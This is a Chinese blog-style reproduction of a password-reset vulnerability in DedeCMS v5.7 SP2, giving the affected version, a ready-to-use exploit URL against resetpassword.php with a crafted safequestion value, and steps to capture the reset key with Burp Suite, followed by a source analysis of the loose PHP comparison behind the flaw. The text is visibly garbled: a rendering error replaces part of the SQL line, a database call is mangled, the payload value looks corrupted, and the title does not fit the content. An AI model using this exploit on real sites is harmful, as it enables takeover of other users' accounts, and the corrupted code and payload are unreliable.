网站内容管理系统简介(环境搭建1.下载DeDeCMS.7SP2源码分析(图))
优采云 发布时间: 2021-12-02 01:05网站内容管理系统简介(环境搭建1.下载DeDeCMS.7SP2源码分析(图))
DeDecms v5.7 SP2 前台任意用户密码修改漏洞复现一、漏洞概览1.简介
织梦内容管理系统(Dedecms) [1] 以简单、实用、开源着称,是最知名的PHP开源网站管理系统在中国,也是用户使用最多的PHPcms系统,经过多年的发展,目前的版本在功能和易用性方面都有了长足的发展和进步。德德cms免费版的主要目标是用户锁定个人站长,功能更侧重于个人网站或中小型门户网站的建设。当然,也有企业用户和学校使用该系统。
2.漏洞限制
1、只影响前台账号
2、您只能修改没有安全问题的帐户
3.受影响的版本
DeDecmsV5.7SP2 正式版 (2018-01-09)
二、环境建设1.下载DeDecms v5.7 SP2源码
实验环境:window 10
php5.6+mysql
三、复制过程
开启会员功能,注册账号,不要设置安全问题,因为这个漏洞的基础是不存在安全问题
另外发现注册时没有查邮箱。
记住用户 uid=2
127.0.0.1/dedecms5.7/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.@ >0&safeanswer=&id=2
直接用bp抓包,可以拿到key
获取到的key是这里的临时验证码,直接输入修改密码即可
源码分析
else if($dopost == “safequestion”)
{
$mid = preg_replace("#[^0-9]#", “”, $id);
KaTeX parse error: Expected 'EOF', got '#' at position 57: …rid,email FROM #̲@__member WHERE…mid’";
$row = d b − > G e t O n e ( db->GetOne(db−>GetOne(sql);
if(empty($safequestion)) $safequestion = ‘’;
if(empty($safeanswer)) $safeanswer = ‘’;
if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)
{
sn($mid, $row[‘userid’], $row[‘email’], ‘N’);
exit();
}
else
{
ShowMsg(“对不起,您的安全问题或答案回答错误”,"-1");
exit();
}
}
#就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数
if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)
{
sn($mid, $row[‘userid’], $row[‘email’], ‘N’);
exit();
}